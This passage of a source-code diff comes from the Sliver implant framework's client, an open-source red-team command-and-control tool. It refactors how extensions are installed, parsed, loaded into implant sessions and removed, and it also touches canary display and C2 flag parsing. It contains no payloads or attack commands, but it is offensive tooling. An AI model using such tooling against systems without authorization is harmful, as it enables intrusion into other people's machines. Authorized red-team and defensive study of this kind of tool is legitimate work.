err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon
|
||||
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
+131
-103
@@ -1,5 +1,23 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
@@ -12,38 +30,45 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
var commandMap map[string]extensionCommand
|
||||
var loadedExtensions = map[string]*ExtensionManifest{}
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Help string `json:"help"`
|
||||
Files []extensionFiles `json:"extFiles"`
|
||||
Arguments []extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"dependsOn"`
|
||||
Init string `json:"init"`
|
||||
Path string
|
||||
}
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
type extensionFiles struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
type extensionFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
@@ -53,66 +78,98 @@ type extensionArgument struct {
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, ef := range e.Files {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "386":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
|
||||
case "amd64":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
}
|
||||
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), cmdName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
return
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("extension file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// ExtensionLoadCmd - Load extension command
|
||||
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
extCmds, err := ParseExtensions(dirPath)
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
}
|
||||
|
||||
for _, extCmd := range extCmds {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
continue
|
||||
// ParseExtensions - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest, err := ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest.RootPath = filepath.Dir(manifestPath)
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
// ParseExtensionManifest - Parse extension manifest from buffer
|
||||
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
extManifest := &ExtensionManifest{}
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if extManifest.Name == "" {
|
||||
return nil, errors.New("missing `name` field in extension manifest")
|
||||
}
|
||||
if extManifest.CommandName == "" {
|
||||
return nil, errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return nil, errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return nil, errors.New("missing `files.os` field in extension manifest")
|
||||
}
|
||||
RegisterExtensionCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
if extFiles.Arch == "" {
|
||||
return nil, errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return nil, errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return nil, errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
|
||||
manifestPath := filepath.Join(extPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionsCmds := make([]*extensionCommand, 0)
|
||||
err = json.Unmarshal(jsonBytes, &extensionsCmds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, extCmd := range extensionsCmds {
|
||||
extCmd.Path = extPath
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
}
|
||||
return extensionsCmds, nil
|
||||
}
|
||||
|
||||
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -155,33 +212,7 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
@@ -193,7 +224,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
@@ -240,14 +271,14 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.Name,
|
||||
Data: binData,
|
||||
@@ -265,7 +296,7 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := commandMap[depName]
|
||||
depExt, f := loadedExtensions[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
@@ -275,7 +306,7 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, &depExt, depBinData, session, ctx)
|
||||
return registerExtension(con, depExt, depBinData, session, ctx)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
@@ -293,13 +324,13 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, &ext); err != nil {
|
||||
if err = loadExtension(ctx, session, con, ext); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
@@ -334,7 +365,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = commandMap[extName].Entrypoint // should exist at this point
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
@@ -354,11 +385,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
@@ -371,7 +402,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
@@ -449,7 +480,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
|
||||
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
// CmdExists - checks if a command exists
|
||||
func CmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
@@ -457,7 +489,3 @@ func cmdExists(name string, app *grumble.App) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extensionCommand)
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsRemoveCmd - Remove an extension
|
||||
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveExtensionByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveExtensionByCommandName - Remove an extension by command name
|
||||
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedExtensions[commandName]; !ok {
|
||||
return errors.New("extension not loaded")
|
||||
}
|
||||
delete(loadedExtensions, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
forceRemoveAll(extPath)
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -1,16 +1,15 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CanariesCmd - Display canaries from the database and their status
|
||||
@@ -21,56 +20,45 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
} else {
|
||||
con.PrintInfof("No canaries in database\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Sliver Name")),
|
||||
strings.Repeat("=", len("Domain")),
|
||||
strings.Repeat("=", len("Triggered")),
|
||||
strings.Repeat("=", len("First Trigger")),
|
||||
strings.Repeat("=", len("Latest Trigger")),
|
||||
)
|
||||
|
||||
lineColors := []string{}
|
||||
// PrintCanaries - Print the canaries tracked by the server
|
||||
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Sliver Name",
|
||||
"Domain",
|
||||
"Triggered",
|
||||
"First Trigger",
|
||||
"Latest Trigger",
|
||||
})
|
||||
for _, canary := range canaries {
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
canary.ImplantName,
|
||||
canary.Domain,
|
||||
fmt.Sprintf("%v", canary.Triggered),
|
||||
canary.FirstTriggered,
|
||||
canary.LatestTrigger,
|
||||
)
|
||||
lineColor := console.Normal
|
||||
if canary.Triggered {
|
||||
lineColors = append(lineColors, console.Bold+console.Red)
|
||||
} else {
|
||||
lineColors = append(lineColors, console.Normal)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
for index, line := range strings.Split(outputBuf.String(), "\n") {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
// We need to account for the two rows of column headers
|
||||
if 0 < len(line) && 2 <= index {
|
||||
lineColor := lineColors[index-2]
|
||||
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
|
||||
} else {
|
||||
con.Printf("%s\n", line)
|
||||
lineColor = console.Bold + console.Red
|
||||
}
|
||||
firstTrigger := "Never"
|
||||
latestTrigger := "Never"
|
||||
if canary.Triggered {
|
||||
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
|
||||
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
|
||||
}
|
||||
row := table.Row{
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
|
||||
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
|
||||
firstTrigger,
|
||||
latestTrigger,
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -12,7 +12,7 @@ import (
|
||||
|
||||
var (
|
||||
minBeaconInterval = 5 * time.Second
|
||||
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
|
||||
ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
|
||||
)
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
|
||||
@@ -178,22 +178,46 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2 := ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
wgC2 := ParseWGc2(ctx.Flags.String("wg"))
|
||||
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
|
||||
httpC2 := ParseHTTPc2(ctx.Flags.String("http"))
|
||||
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2 := ParseDNSc2(ctx.Flags.String("dns"))
|
||||
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2 := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2 := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
var symbolObfuscation bool
|
||||
@@ -350,51 +374,74 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
}
|
||||
|
||||
// ParseMTLSc2 - Parse mtls connection string arg
|
||||
func ParseMTLSc2(args string) []*clientpb.ImplantC2 {
|
||||
func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
|
